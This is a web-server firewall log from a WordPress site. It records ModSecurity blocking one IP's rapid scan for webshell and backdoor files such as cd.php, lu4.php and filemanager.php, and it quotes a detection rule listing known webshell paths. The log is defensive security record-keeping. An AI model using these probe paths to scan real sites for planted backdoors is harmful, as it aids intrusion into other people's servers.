[Tue May 19 02:30:44.889471 2026] [:error] [pid 36492:tid 36536] [client 20.151.117.104:14172] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "agta1GCVlogrkn9m2w4uZAAAAA4"]
[Tue May 19 02:30:45.391911 2026] [:error] [pid 36492:tid 36529] [client 20.151.117.104:14202] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "agta1WCVlogrkn9m2w4uaQAAAAc"]
[Tue May 19 02:30:45.827652 2026] [:error] [pid 44087:tid 44104] [client 20.151.117.104:14256] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "agta1W5HPHbH9GK7l6wRmwAAAc8"]
[Tue May 19 02:30:46.289002 2026] [:error] [pid 36579:tid 36582] [client 20.151.117.104:14164] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "agta1l-aoZxBfgL5vDy54QAAAEA"]
[Tue May 19 02:30:46.716467 2026] [:error] [pid 36493:tid 36567] [client 20.151.117.104:14200] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/storage/index.php"] [unique_id "agta1gynkzQB5nM668rojAAAARI"]
[Tue May 19 02:30:47.168485 2026] [:error] [pid 44087:tid 44097] [client 20.151.117.104:14215] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/storage/index.php"] [unique_id "agta125HPHbH9GK7l6wRnAAAAcg"]
[Tue May 19 02:30:47.592577 2026] [:error] [pid 44087:tid 44099] [client 20.151.117.104:14183] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/storage/index.php"] [unique_id "agta125HPHbH9GK7l6wRngAAAco"]
[Tue May 19 02:30:48.145873 2026] [:error] [pid 36492:tid 36523] [client 20.151.117.104:14255] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/storage/index.php"] [unique_id "agta2GCVlogrkn9m2w4uagAAAAE"]
[Tue May 19 02:30:48.598517 2026] [:error] [pid 36579:tid 36584] [client 20.151.117.104:14148] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content.php"] [unique_id "agta2F-aoZxBfgL5vDy54wAAAEI"]
[Tue May 19 02:30:49.019524 2026] [:error] [pid 36579:tid 36605] [client 20.151.117.104:14271] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content.php"] [unique_id "agta2V-aoZxBfgL5vDy55AAAAFc"]
[Tue May 19 02:30:49.453646 2026] [:error] [pid 44087:tid 44114] [client 20.151.117.104:14166] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content.php"] [unique_id "agta2W5HPHbH9GK7l6wRoAAAAdg"]
[Tue May 19 02:30:49.943308 2026] [:error] [pid 36579:tid 36588] [client 20.151.117.104:14169] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content.php"] [unique_id "agta2V-aoZxBfgL5vDy55QAAAEY"]
[Tue May 19 02:30:50.376474 2026] [:error] [pid 36579:tid 36601] [client 20.151.117.104:14112] [client 20.151.117.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/index.php"] [unique_id "agta2l-aoZxBfgL5vDy55wAAAFM"]
[Tue May 19 02:30:50.913278 2026] [:error] [pid 36579:tid 36599] [client 20.151.117.104:14177] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/"] [unique_id "agta2l-aoZxBfgL5vDy56AAAAFE"]
[Tue May 19 02:30:51.392482 2026] [:error] [pid 43916:tid 43946] [client 20.151.117.104:14139] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/"] [unique_id "agta29QC236p33zJJvngfAAAAJY"]
[Tue May 19 02:30:51.839498 2026] [:error] [pid 36492:tid 36537] [client 20.151.117.104:14170] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/"] [unique_id "agta22CVlogrkn9m2w4ubgAAAA8"]
[Tue May 19 02:30:52.264080 2026] [:error] [pid 36492:tid 36526] [client 20.151.117.104:14176] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/"] [unique_id "agta3GCVlogrkn9m2w4ubwAAAAQ"]
[Tue May 19 02:30:52.746486 2026] [:error] [pid 36491:tid 36513] [client 20.151.117.104:14319] [client 20.151.117.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/min.php"] [unique_id "agta3E555B9CZb6D60kF4QAAAVI"]
[Tue May 19 02:30:53.175541 2026] [:error] [pid 44010:tid 44017] [client 20.151.117.104:14087] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cache.php"] [unique_id "agta3TcFUuogD3-74-aPtAAAAMU"]
[Tue May 19 02:30:53.717465 2026] [:error] [pid 44087:tid 44096] [client 20.151.117.104:14092] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cache.php"] [unique_id "agta3W5HPHbH9GK7l6wRpAAAAcc"]
[Tue May 19 02:30:54.208198 2026] [:error] [pid 44087:tid 44093] [client 20.151.117.104:14150] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cache.php"] [unique_id "agta3m5HPHbH9GK7l6wRpQAAAcQ"]
[Tue May 19 02:30:54.634477 2026] [:error] [pid 44010:tid 44022] [client 20.151.117.104:14162] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cache.php"] [unique_id "agta3jcFUuogD3-74-aPtwAAAMo"]
[Tue May 19 02:30:55.074965 2026] [:error] [pid 44010:tid 44030] [client 20.151.117.104:14203] [client 20.151.117.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/filemanager.php"] [unique_id "agta3zcFUuogD3-74-aPuAAAANI"]
[Tue May 19 02:30:55.640213 2026] [:error] [pid 44087:tid 44110] [client 20.151.117.104:14159] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "agta325HPHbH9GK7l6wRpwAAAdU"]
[Tue May 19 02:30:56.205064 2026] [:error] [pid 44087:tid 44108] [client 20.151.117.104:14114] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "agta4G5HPHbH9GK7l6wRqAAAAdM"]
[Tue May 19 02:30:56.654466 2026] [:error] [pid 44087:tid 44109] [client 20.151.117.104:14107] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "agta4G5HPHbH9GK7l6wRqQAAAdQ"]
[Tue May 19 02:30:57.082221 2026] [:error] [pid 44087:tid 44097] [client 20.151.117.104:14315] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "agta4W5HPHbH9GK7l6wRqgAAAcg"]
[Tue May 19 02:30:57.619600 2026] [:error] [pid 44087:tid 44099] [client 20.151.117.104:14085] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/"] [unique_id "agta4W5HPHbH9GK7l6wRqwAAAco"]
[Tue May 19 02:30:58.054094 2026] [:error] [pid 44087:tid 44111] [client 20.151.117.104:14201] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/"] [unique_id "agta4m5HPHbH9GK7l6wRrAAAAdY"]
[Tue May 19 02:30:58.743281 2026] [:error] [pid 44010:tid 44023] [client 20.151.117.104:14086] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/"] [unique_id "agta4jcFUuogD3-74-aPvQAAAMs"]
[Tue May 19 02:30:59.198698 2026] [:error] [pid 44010:tid 44025] [client 20.151.117.104:14101] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/"] [unique_id "agta4zcFUuogD3-74-aPvgAAAM0"]
[Tue May 19 02:30:59.621806 2026] [:error] [pid 44087:tid 44089] [client 20.151.117.104:14017] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agta425HPHbH9GK7l6wRsAAAAcA"]
[Tue May 19 02:31:00.066190 2026] [:error] [pid 44087:tid 44107] [client 20.151.117.104:14264] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agta5G5HPHbH9GK7l6wRsQAAAdI"]
[Tue May 19 02:31:00.534810 2026] [:error] [pid 36492:tid 36535] [client 20.151.117.104:14108] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agta5GCVlogrkn9m2w4ucgAAAA0"]
[Tue May 19 02:31:00.996880 2026] [:error] [pid 43916:tid 43939] [client 20.151.117.104:14116] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agta5NQC236p33zJJvngfQAAAI8"]
[Tue May 19 02:31:01.584864 2026] [:error] [pid 44010:tid 44015] [client 20.151.117.104:14248] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cd.php"] [unique_id "agta5TcFUuogD3-74-aPvwAAAMM"]
[Tue May 19 02:31:02.011011 2026] [:error] [pid 36492:tid 36530] [client 20.151.117.104:14250] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cd.php"] [unique_id "agta5mCVlogrkn9m2w4ucwAAAAg"]
[Tue May 19 02:31:02.457135 2026] [:error] [pid 36492:tid 36533] [client 20.151.117.104:14223] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cd.php"] [unique_id "agta5mCVlogrkn9m2w4udAAAAAs"]
[Tue May 19 02:31:02.922929 2026] [:error] [pid 36492:tid 36532] [client 20.151.117.104:14135] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cd.php"] [unique_id "agta5mCVlogrkn9m2w4udQAAAAo"]
[Tue May 19 02:31:03.427509 2026] [:error] [pid 36492:tid 36531] [client 20.151.117.104:14261] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "agta52CVlogrkn9m2w4udgAAAAk"]
[Tue May 19 02:31:03.931287 2026] [:error] [pid 44087:tid 44103] [client 20.151.117.104:14129] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "agta525HPHbH9GK7l6wRsgAAAc4"]
[Tue May 19 02:31:04.439559 2026] [:error] [pid 36493:tid 36549] [client 20.151.117.104:14198] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "agta6AynkzQB5nM668rolgAAAQA"]
[Tue May 19 02:31:04.881709 2026] [:error] [pid 36492:tid 36539] [client 20.151.117.104:14197] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "agta6GCVlogrkn9m2w4ueAAAABE"]
[Tue May 19 02:31:05.423434 2026] [:error] [pid 36493:tid 36564] [client 20.151.117.104:14118] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lu4.php"] [unique_id "agta6QynkzQB5nM668rolwAAAQ8"]
[Tue May 19 02:31:06.027659 2026] [:error] [pid 44087:tid 44096] [client 20.151.117.104:14104] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lu4.php"] [unique_id "agta6m5HPHbH9GK7l6wRtQAAAcc"]
[Tue May 19 02:31:06.743059 2026] [:error] [pid 36579:tid 36595] [client 20.151.117.104:14051] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lu4.php"] [unique_id "agta6l-aoZxBfgL5vDy56gAAAE0"]
[Tue May 19 02:31:07.234723 2026] [:error] [pid 36492:tid 36534] [client 20.151.117.104:14322] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lu4.php"] [unique_id "agta62CVlogrkn9m2w4ueQAAAAw"]
[Tue May 19 02:31:09.550611 2026] [:error] [pid 36579:tid 36591] [client 20.151.117.104:14234] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "agta7V-aoZxBfgL5vDy57QAAAEk"]
[Tue May 19 02:31:10.327728 2026] [:error] [pid 36491:tid 36518] [client 20.151.117.104:14103] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "agta7k555B9CZb6D60kF5AAAAVc"]
[Tue May 19 02:31:11.069324 2026] [:error] [pid 44010:tid 44026] [client 20.151.117.104:14089] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "agta7zcFUuogD3-74-aPwgAAAM4"]
[Tue May 19 02:31:11.595304 2026] [:error] [pid 36493:tid 36550] [client 20.151.117.104:14194] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "agta7wynkzQB5nM668romQAAAQE"]
[Tue May 19 02:31:12.103048 2026] [:error] [pid 36493:tid 36559] [client 20.151.117.104:14278] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/index.php"] [unique_id "agta8AynkzQB5nM668romwAAAQo"]
[Tue May 19 02:31:12.686949 2026] [:error] [pid 36493:tid 36551] [client 20.151.117.104:14143] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/index.php"] [unique_id "agta8AynkzQB5nM668rongAAAQI"]
[Tue May 19 02:31:13.313219 2026] [:error] [pid 44046:tid 44058] [client 20.151.117.104:14016] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/index.php"] [unique_id "agta8YYF4k2jfXJBXk0UNgAAAYo"]
[Tue May 19 02:31:13.821934 2026] [:error] [pid 44087:tid 44097] [client 20.151.117.104:14260] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/index.php"] [unique_id "agta8W5HPHbH9GK7l6wRugAAAcg"]
[Tue May 19 02:31:14.356985 2026] [:error] [pid 44010:tid 44016] [client 20.151.117.104:14084] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade/index.php"] [unique_id "agta8jcFUuogD3-74-aPwwAAAMQ"]
